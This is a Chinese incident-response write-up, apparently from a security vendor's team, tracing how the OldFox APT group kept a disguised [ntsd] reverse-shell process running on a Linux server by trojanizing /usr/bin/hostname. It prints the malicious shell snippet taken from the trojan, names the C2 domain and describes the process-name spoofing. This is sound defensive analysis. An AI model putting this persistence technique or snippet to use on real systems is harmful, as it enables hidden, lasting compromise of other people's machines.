“OldFox”露出的狐狸尾巴|APT应急实录

APT 2年前 (2022) admin
981 0 0
点击蓝字
“OldFox”露出的狐狸尾巴|APT应急实录
关注我们
Hello~ 大家好,我是Azha0,一个擅长样本分析的应急响应攻城狮。
APT(高级持续性威胁)团伙,我追踪分析过不少,但能给我留下”高级“印象的廖廖可数,更多只是”持续性“威胁,偶尔也有让我眼前一亮的骚操作,比如最近遇到的APT组织老狐狸(OldFox),其通过意想不到的方式实现了SSH登录自启,让我觉得颇有意思,在此通过本文与大家分享。
01 露出的狐狸尾巴
11月份的某日,正在忙碌搬砖的我突然收到OneEDR威胁告警排查工单。内心OS:活太多,根本忙不过来?。
“OldFox”露出的狐狸尾巴|APT应急实录
先看告警“虚假内核模块进程”,额… 经过反复阅读威胁描述,才大致明白这个告警是在说啥?。
该告警是指:恶意进程[ntsd]是伪装的系统内核进程,并且该进程对应的文件路径为null。(在linux系统中,带[]的进程为系统内核进程)
“OldFox”露出的狐狸尾巴|APT应急实录
再结合情报的告警,主机存在外连APT组织OldFox的远控域名whith.me
顿感大事不妙,立刻联系客户上机排查主机失陷情况。
“OldFox”露出的狐狸尾巴|APT应急实录

02 上机抓“老狐狸”

1、定位进程及文件

上机先定位恶意进程[ntsd]和其文件,结果发现进程源文件/tmp/e931adcf-9fd0-462a-a561-683511a0273d已经被删除了,与告警信息一致,如图:
“OldFox”露出的狐狸尾巴|APT应急实录
注:进程源文件文件名符合的UUID的格式(通用唯一识别码(Universally Unique Identifier),推测是生成的随机的UUID。
小技巧?:当进程的源文件被删除时,便可使用命令cat /proc/[PID]/exe > /tmp/threatbook/malware,来获取该进程已被删除的源文件,如图:
“OldFox”露出的狐狸尾巴|APT应急实录
经过简单分析,[ntsd]进程源文件的功能比较简单,通过不断的向控制服务器反弹shell,从而实现控制该主机,如图:
“OldFox”露出的狐狸尾巴|APT应急实录
注:反弹shell是指被控端通过与控制端建立通信,将被控端命令行的输入输出传递到控制端的过程。以实现控制端在被控端执行任意命令。
2、诡异的启动现象

将初步分析结果与客户进行沟通后,得到关键线索:这台机器客户之前就处理过,在结束掉[ntsd]进程后,每当ssh登陆时,[ntsd]恶意进程便会再次启动。
结束掉进程,SSH登陆又能实现自启,那么说明源文件依旧隐藏在主机上某个角落中,并且有进程会在SSH登陆后运行的该源文件。
由于没有其他线索,我便从SSH登陆后自启这个方向着手开始了排查。(如果你有其他的排查思路,欢迎在评论区中探讨~)

(1)排查~/.profile和~/.bashrc文件

首先想到的是文件~/.profile~/.bashrc被加料?。

之前就有部分挖矿家族(如TeamTNT)便通过修改这两个文件来实现SSH登陆实现自启动。不过经过排查,显然这两个文件并没有被篡改⚠️。

“OldFox”露出的狐狸尾巴|APT应急实录

注:~/.profile是在系统启动时执行shell命令;~/.bashrc是用户登录时执行shell命令。

(2)排查系统命令被篡改

排查完~/.profile和~/.bashrc文件没有问题后,便开始怀疑会不会是sshd或是其他命令被篡改了呢?便使用命令rpm -Va进行系统完整性检查,排查系统命令是否被替换(重点关注S、5、T)。

“OldFox”露出的狐狸尾巴|APT应急实录

经初步排查,发现系统命令/usr/bin/hostname好像有点可疑。

“OldFox”露出的狐狸尾巴|APT应急实录

PS:事后我也测试了rkhunter(用于检测命令篡改的工具),发现其并不能发现hostname命令是被篡改的。这里如果有人知道为什么的话,欢迎在评论中留言讨论一下。

于是便将/usr/bin/hostname拿下来,经过分析,确实存在问题。

首先hostname文件加了魔改后的UPX壳(无法直接使用upx -d脱壳),一眼黑。经过徒手脱壳后,发现该文件是经过篡改的hostname文件,如图:

“OldFox”露出的狐狸尾巴|APT应急实录

注:Linux下手脱UPX变型壳,可参考此文章:https://xz.aliyun.com/t/6881

在保留原本的hostname功能的情况下,在调用时会执行如下命令,将文件/lib64/libss.so.3.0拷贝至/tmp/<random uuid>,然后运行拷贝后的文件/tmp/<random uuid>,最终再将拷贝后的文件删除,具体命令如下:

[ `ps -ef|grep ntsd|grep -v grep|wc -l` -gt 2 ] &&

( `ps -ef|grep ntsd|grep -v grep|cut -c 9-15|xargs kill -9 1>/dev/null 2>/dev/null` ) ||
[ `ps -ef|grep ntsd |grep -v grep|wc -l` == 0 ] &&
( rdmf=`cat /proc/sys/kernel/random/uuid`;
cp /lib64/libss.so.3.0 /tmp/$rdmf > /dev/null 2>&1 ;
/tmp/$rdmf > /dev/null 2>&1;
rm -rf /tmp/$rdmf;
exit 1)
通过计算hash对比,确认/lib64/libss.so.3.0与从/proc/[PID]/exe获取到的[ntsd]进程源文件hash一致,因此文件/lib64/libss.so.3.0便是恶意进程[ntsd]隐藏在本地的源文件。
“OldFox”露出的狐狸尾巴|APT应急实录

(3)hostname实现SSH登录自启?

现在定位到了OldFox是通过篡改hostname,来运行恶意进程[ntsd]的。但是如何失陷的SSH登陆自启的呢?难道SSH登陆时会调用hostname?带着这样疑惑,使用sysdig抓取了ssh登陆的进程调用操作,竟发现在ssh登陆时,服务端确实会调用hostname进程,不得不说有点东西❗sysdig抓取到的进程调用信息如图:

“OldFox”露出的狐狸尾巴|APT应急实录

注:Sysdig与Procmon、火绒剑等工具差不多,可以记录进程、网络、文件等操作行为。

因此便清楚的知道了OLdFox组织是通过篡改hostname文件来实现的SSH登陆自启,恶意软件自启流程如图:

“OldFox”露出的狐狸尾巴|APT应急实录

3、[ntsd]进程名又是如何伪造的呢?

根据上文分析的执行流程,可知[ntsd]进程是将文件/lib64/libss.so.3.0拷贝至/tmp/<random uuid>后运行的,理论上进程名应该是<random uuid>而不是[ntsd]。那么是什么时候修改的进程名呢?
经过对文件/lib64/libss.so.3.0进一步分析,发现其在运行后,会将main函数的第一个变量argv[0]的值修改为[ntsd],再通过fork创建子进程后结束自身进程的操作,最终实现将进程名修改为了[ntsd],成功伪装成了系统进程,如图:
“OldFox”露出的狐狸尾巴|APT应急实录

4、高端的攻击者,往往使用最简单的攻击方式

至此,初步的失陷排查已然结束,剩下便是根据文件落盘的时间,结合相关系统日志进一步溯源攻击路径。最终发现是通过SSH弱口令爆破进来的,不仅感慨“高端的攻击者,往往使用最简单的攻击方式”。
03 感悟写在最后
通过本次应急,不仅学到了可以通过篡改hostname命令实现SSH登陆自启,同时也改变了我对APT的一些看法:
APT追踪狩猎不能单单停留在对样本捕获和分析上,也应当多结合实际应急取证场景,这样从中提取的TTPs(Tactics, Techniques, and Procedures (战术、技术、过程))才更具有意义。
自古邪不压正,再狡猾“狐狸”也会露出尾巴,只要我们顺着蛛丝马迹,总能找到隐藏在深处的“老狐狸”。关注微步应急响应公众号,由众多老师傅带你逐个揭秘隐藏在深处的“老狐狸。
– END –
微步在线应急响应团队为企业客户提供应急响应服务。当企业遭遇突发重大安全事件(APT攻击、勒索加密、数据窃取、漏洞攻击、主机被控等),微步在线可提供快速事件定位取证、隔离清除、溯源分析、安全加固等专业安全服务,帮助企业信息系统在最短时间内恢复正常工作,将事件影响降到最低。
如果发生安全事件,可联系微步在线应急响应团队,联系方式:4000301051
“OldFox”露出的狐狸尾巴|APT应急实录
转发,点赞,在看,安排一下?


1. 内容转载,请微信后台留言:转载+转载平台

2. 内容引用,请注明出处:以上内容引自公众号“微步在线应急响应团队”

原文始发于微信公众号(微步在线应急响应团队):“OldFox”露出的狐狸尾巴|APT应急实录

版权声明:admin 发表于 2022年12月1日 上午9:01。
转载请注明:“OldFox”露出的狐狸尾巴|APT应急实录 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...